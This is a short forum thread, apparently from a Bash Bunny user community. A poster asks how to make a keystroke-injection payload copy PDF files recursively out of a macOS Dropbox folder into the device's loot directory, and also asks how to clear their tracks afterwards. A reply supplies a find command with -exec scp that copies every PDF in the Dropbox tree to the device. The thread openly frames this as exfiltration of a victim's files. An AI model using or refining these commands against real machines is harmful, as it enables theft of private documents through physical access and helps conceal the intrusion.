Jump to content

Downloading files from folder and its sub-folders


WiFiJuice

Recommended Posts

I'm using a script to exfiltrate PDF-files from Dropbox on macOS. However, I want it to also download the PDFs from the subfolders of the /Dropbox/ directionally. Example from "/Dropbox/Misc/" etc. How do I do that?

Q STRING scp -r ./Dropbox/*.pdf /Volumes/BashBunny/$lootdir/docs/


PS: What's your best tip on clearing your tracks after this kind of command in the terminal? 

Link to comment
Share on other sites

  • 3 weeks later...
On 7/25/2021 at 2:38 AM, WiFiJuice said:

I'm using a script to exfiltrate PDF-files from Dropbox on macOS. However, I want it to also download the PDFs from the subfolders of the /Dropbox/ directionally. Example from "/Dropbox/Misc/" etc. How do I do that?

Q STRING scp -r ./Dropbox/*.pdf /Volumes/BashBunny/$lootdir/docs/


PS: What's your best tip on clearing your tracks after this kind of command in the terminal? 

This should work (haven't tested it, but it should work)

Q STRING find ./Dropbox -name '*.pdf' -exec scp '{}' /Volumes/BashBunny/$lootdir/docs/ \;

 

  • Like 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...